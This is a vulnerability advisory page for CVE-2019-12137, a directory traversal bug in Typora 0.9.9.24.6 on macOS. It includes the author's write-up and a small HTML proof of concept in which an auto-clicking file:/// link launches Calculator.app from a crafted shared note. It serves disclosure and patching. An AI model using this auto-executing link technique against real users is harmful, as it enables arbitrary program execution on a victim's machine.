Typora 0.9.9.24.6 Directory Traversal

🗓️ 27 May 2019 00:00:00Reported by Mishra DhirajType

packetstorm🔗 packetstormsecurity.com👁 67 Views

Typora 0.9.9.24.6 macOS Directory Traversal Code Execution via URI Scheme

Reporter	Title	Published	Views	Family All 12
0day.today	Typora 0.9.9.24.6 - Directory Traversal Vulnerability	27 May 201900:00	–	zdt
Circl	CVE-2019-12137	17 May 201923:47	–	circl
CVE	CVE-2019-12137	16 May 201913:20	–	cve
Cvelist	CVE-2019-12137	16 May 201913:20	–	cvelist
Exploit DB	Typora 0.9.9.24.6 - Directory Traversal	27 May 201900:00	–	exploitdb
EUVD	EUVD-2019-3788	7 Oct 202500:30	–	euvd
exploitpack	Typora 0.9.9.24.6 - Directory Traversal	27 May 201900:00	–	exploitpack
NVD	CVE-2019-12137	16 May 201914:29	–	nvd
Prion	Directory traversal	16 May 201914:29	–	prion
Prion	Code injection	17 May 201923:29	–	prion

`Exploit Title: Code execution via path traversal  
# Date: 17-05-2019  
# Exploit Author: Dhiraj Mishra  
# Vendor Homepage: http://typora.io  
# Software Link: https://typora.io/download/Typora.dmg  
# Version: 0.9.9.24.6  
# Tested on: macOS Mojave v10.14.4  
# CVE: CVE-2019-12137  
# References:  
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137  
# https://github.com/typora/typora-issues/issues/2505  
  
Summary:  
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of  
arbitrary programs, via a file:/// or ../ substring in a shared note via  
abusing URI schemes.  
  
Technical observation:  
A crafted URI can be used in a note to perform this attack using file:///  
has an argument or by traversing to any directory like  
(../../../../something.app).  
  
Since, Typro also has a feature of sharing notes, in such case attacker  
could leverage this vulnerability and send crafted notes to the  
victim to perform any further attack.  
  
Simple exploit code would be:  
  
<body>  
<a href="file:\\\Applications\Calculator.app" id=inputzero>  
<img src="someimage.jpeg" alt="inputzero" width="104" height="142">  
</a>  
<script>  
(function download() {  
document.getElementById('inputzero').click();  
})()  
</script>  
</body>  
`

27 May 2019 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.02535